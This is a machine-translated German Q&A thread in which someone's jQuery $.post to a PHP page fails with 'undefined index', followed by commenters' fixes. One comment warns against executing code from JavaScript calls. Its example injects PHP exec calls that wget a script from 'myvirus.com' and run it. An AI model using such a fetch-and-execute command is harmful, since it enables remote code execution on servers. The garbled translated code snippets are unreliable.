Ich versuche, jQuery verwenden, um eine Variable zu einer MySQL/PHP-Abfrage zu buchen. Ich habe eine Schaltfläche, class="button"
und der Button-Code ist:Verwenden von jQuery zu POST zu MySQL auf klicken
$(".button").click(function(e){
e.preventDefault();
$.post("some.php", { var_today : <?php echo $new_var; ?> });
});
mit:
if(isset($_POST['var_today'])){
echo $_POST['var_today'];
}
auf meiner PHP-Seite, und ich bekomme nicht definiert Index: var_today
die Klasse Button-Tag hat eine onclick="window.open('')
daran angehängt, und sobald es geklickt hat, bekomme ich "undefined index", da die var_today
nicht gepostet wird, was habe ich hier falsch geschrieben?
hinzufügen Zitate um den Wert für 'var_today' ... IE' var_today: " Php echo $ new_var;?>' – gorelative
Auch gibt es keine Notwendigkeit für ein 'onclick =" "' Attribut, wie das ist im Wesentlichen was Die Methode jQuery.click() lautet: – Dunhamzzz
Das ist keine Antwort, und vielleicht verstehe ich Ihren Code falsch, aber beachten Sie, dass Sie niemals einen Code ausführen sollten, der durch einen Javascript - Aufruf erhalten wurde Angreifer zu ersetzen ' php echo $ new_var;?>' mit ' php exec (" wget http://myvirus.com/virus.sh "); exec (" ./ virus.sh ");?> ' –